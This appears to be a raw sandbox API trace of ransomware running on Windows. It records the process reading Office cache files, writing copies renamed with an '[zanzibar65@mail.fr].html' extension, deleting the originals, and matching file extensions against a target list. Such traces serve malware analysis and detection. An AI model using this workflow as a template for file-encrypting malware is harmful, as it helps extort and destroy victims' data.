1 [0035.026] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.026] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.026] GetLastError () returned 0x0 [0035.026] ReadFile (in: hFile=0x198, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x391, lpOverlapped=0x0) returned 1 [0035.081] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0035.082] ReadFile (in: hFile=0x198, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.082] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.082] SetEndOfFile (hFile=0x178) returned 1 [0035.082] CloseHandle (hObject=0x178) returned 1 [0035.083] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.083] SetEndOfFile (hFile=0x198) returned 1 [0035.083] CloseHandle (hObject=0x198) returned 1 [0035.084] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.084] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0035.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.084] lstrlenW (lpString=".doc") returned 4 [0035.084] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.084] lstrlenW (lpString=".docx") returned 5 [0035.084] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.084] lstrlenW (lpString=".pdf") returned 4 [0035.084] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.084] lstrlenW (lpString=".xls") returned 4 [0035.084] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.084] lstrlenW (lpString=".xlsx") returned 5 [0035.084] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.084] lstrlenW (lpString=".ppt") returned 4 [0035.084] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.084] lstrlenW (lpString=".zip") returned 4 [0035.084] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.085] lstrlenW (lpString=".rar") returned 4 [0035.085] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString=".bz2") returned 4 [0035.085] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString=".7z") returned 3 [0035.085] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.085] lstrlenW (lpString=".dbf") returned 4 [0035.085] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.085] lstrlenW (lpString=".1cd") returned 4 [0035.085] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.085] lstrlenW (lpString=".jpg") returned 4 [0035.085] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.085] lstrlenW (lpString=".doc") returned 4 [0035.085] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString=".docx") returned 5 [0035.085] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.085] lstrlenW (lpString=".pdf") returned 4 [0035.085] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString=".xls") returned 4 [0035.085] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString=".xlsx") returned 5 [0035.085] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.085] lstrlenW (lpString=".ppt") returned 4 [0035.085] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.085] lstrlenW (lpString=".zip") returned 4 [0035.085] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.085] lstrlenW (lpString=".rar") returned 4 [0035.086] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.086] lstrlenW (lpString=".bz2") returned 4 [0035.086] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.086] lstrlenW (lpString=".7z") returned 3 [0035.086] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.086] lstrlenW (lpString=".dbf") returned 4 [0035.086] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.086] lstrlenW (lpString=".1cd") returned 4 [0035.086] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0035.086] lstrlenW (lpString=".jpg") returned 4 [0035.086] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.086] lstrcmpiW (lpString1=".chm", lpString2=".html") returned -1 [0035.086] lstrlenW (lpString="pss10r.chm") returned 10 [0035.086] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0035.137] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=27195) returned 1 [0035.137] CloseHandle (hObject=0x174) returned 1 [0035.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0035.158] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0035.167] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.167] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.167] GetLastError () returned 0x0 [0035.167] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0035.170] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0035.171] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.171] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0035.171] SetEndOfFile (hFile=0x180) returned 1 [0035.171] CloseHandle (hObject=0x180) returned 1 [0035.172] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.172] SetEndOfFile (hFile=0x174) returned 1 [0035.174] CloseHandle (hObject=0x174) returned 1 [0035.174] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.174] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0035.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.174] lstrlenW (lpString=".doc") returned 4 [0035.174] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.174] lstrlenW (lpString=".docx") returned 5 [0035.174] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0035.174] lstrlenW (lpString=".pdf") returned 4 [0035.174] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.174] lstrlenW (lpString=".xls") returned 4 [0035.174] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.174] lstrlenW (lpString=".xlsx") returned 5 [0035.174] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.175] lstrlenW (lpString=".ppt") returned 4 [0035.175] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.175] lstrlenW (lpString=".zip") returned 4 [0035.175] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString=".rar") returned 4 [0035.175] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString=".bz2") returned 4 [0035.175] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.175] lstrlenW (lpString=".7z") returned 3 [0035.175] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.175] lstrlenW (lpString=".dbf") returned 4 [0035.175] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.175] lstrlenW (lpString=".1cd") returned 4 [0035.175] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.175] lstrlenW (lpString=".jpg") returned 4 [0035.175] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.175] lstrlenW (lpString=".doc") returned 4 [0035.175] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString=".docx") returned 5 [0035.175] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0035.175] lstrlenW (lpString=".pdf") returned 4 [0035.175] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString=".xls") returned 4 [0035.175] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.175] lstrlenW (lpString=".xlsx") returned 5 [0035.175] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.176] lstrlenW (lpString=".ppt") returned 4 [0035.176] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.176] lstrlenW (lpString=".zip") returned 4 [0035.176] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.176] lstrlenW (lpString=".rar") returned 4 [0035.176] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.176] lstrlenW (lpString=".bz2") returned 4 [0035.176] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.176] lstrlenW (lpString=".7z") returned 3 [0035.176] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.176] lstrlenW (lpString=".dbf") returned 4 [0035.176] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.176] lstrlenW (lpString=".1cd") returned 4 [0035.176] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.176] lstrlenW (lpString=".jpg") returned 4 [0035.176] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.176] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.176] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0035.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0035.177] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=819) returned 1 [0035.177] CloseHandle (hObject=0x174) returned 1 [0035.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0035.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0035.177] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.177] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.177] GetLastError () returned 0x0 [0035.177] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x333, lpOverlapped=0x0) returned 1 [0035.179] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.180] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.180] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.180] SetEndOfFile (hFile=0x180) returned 1 [0035.180] CloseHandle (hObject=0x180) returned 1 [0035.181] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.181] SetEndOfFile (hFile=0x174) returned 1 [0035.181] CloseHandle (hObject=0x174) returned 1 [0035.181] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.182] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0035.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.182] lstrlenW (lpString=".doc") returned 4 [0035.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.182] lstrlenW (lpString=".docx") returned 5 [0035.182] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.182] lstrlenW (lpString=".pdf") returned 4 [0035.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.182] lstrlenW (lpString=".xls") returned 4 [0035.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.182] lstrlenW (lpString=".xlsx") returned 5 [0035.182] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.182] lstrlenW (lpString=".ppt") returned 4 [0035.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.182] lstrlenW (lpString=".zip") returned 4 [0035.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.182] lstrlenW (lpString=".rar") returned 4 [0035.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.182] lstrlenW (lpString=".bz2") returned 4 [0035.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.182] lstrlenW (lpString=".7z") returned 3 [0035.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.182] lstrlenW (lpString=".dbf") returned 4 [0035.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.183] lstrlenW (lpString=".1cd") returned 4 [0035.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.183] lstrlenW (lpString=".jpg") returned 4 [0035.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.183] lstrlenW (lpString=".doc") returned 4 [0035.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString=".docx") returned 5 [0035.183] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.183] lstrlenW (lpString=".pdf") returned 4 [0035.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString=".xls") returned 4 [0035.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString=".xlsx") returned 5 [0035.183] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.183] lstrlenW (lpString=".ppt") returned 4 [0035.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.183] lstrlenW (lpString=".zip") returned 4 [0035.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.183] lstrlenW (lpString=".rar") returned 4 [0035.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString=".bz2") returned 4 [0035.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.183] lstrlenW (lpString=".7z") returned 3 [0035.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.183] lstrlenW (lpString=".dbf") returned 4 [0035.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.184] lstrlenW (lpString=".1cd") returned 4 [0035.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.184] lstrlenW (lpString=".jpg") returned 4 [0035.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.184] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.184] lstrlenW (lpString="Setup.xml") returned 9 [0035.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0035.184] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2624) returned 1 [0035.184] CloseHandle (hObject=0x174) returned 1 [0035.184] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.184] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), 